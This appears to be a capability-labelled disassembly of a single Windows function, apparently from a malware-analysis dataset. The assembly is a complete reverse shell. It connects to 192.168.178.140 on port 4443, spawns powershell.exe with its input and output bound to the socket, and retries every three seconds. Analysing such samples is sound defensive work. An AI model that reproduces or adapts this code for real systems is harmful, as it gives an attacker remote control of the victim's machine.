Function at 0x1400015e0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x390
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x170]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [rbp + 0x308], rax
mov word [rbp + 0x160], 2
lea rax, str.192.168.178.140
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x164], eax
mov ecx, 0x115b
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x162], ax
lea rdx, [rbp + 0x160]
mov rax, qword [rbp + 0x308]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
cmp eax, 0xffffffff
sete al
test al, al
je 0x1400016ec
mov rax, qword [rbp + 0x308]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 0xbb8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x140001675
lea rax, [rbp + 0xf0]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0xf0], 0x68
mov dword [rbp + 0x12c], 0x101
mov rax, qword [rbp + 0x308]
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
mov qword [rbp + 0x140], rax
movabs rax, 0x6568737265776f70
movabs rdx, 0x6578652e6c6c
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 8], 0
mov qword [rbp], 0
mov qword [rbp + 8], 0
mov qword [rbp + 0x10], 0
mov qword [rbp + 0x18], 0
mov qword [rbp + 0x20], 0
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x50], 0
mov qword [rbp + 0x58], 0
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x70], 0
mov qword [rbp + 0x78], 0
mov qword [rbp + 0x80], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0x90], 0
mov qword [rbp + 0x98], 0
mov qword [rbp + 0xa0], 0
mov qword [rbp + 0xa8], 0
mov qword [rbp + 0xb0], 0
mov qword [rbp + 0xb8], 0
mov qword [rbp + 0xc0], 0
mov qword [rbp + 0xc8], 0
lea rax, [rbp - 0x30]
lea rdx, [rbp + 0xd0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0xf0]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rax, qword [rbp + 0xd0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x308]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 0xbb8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x140001675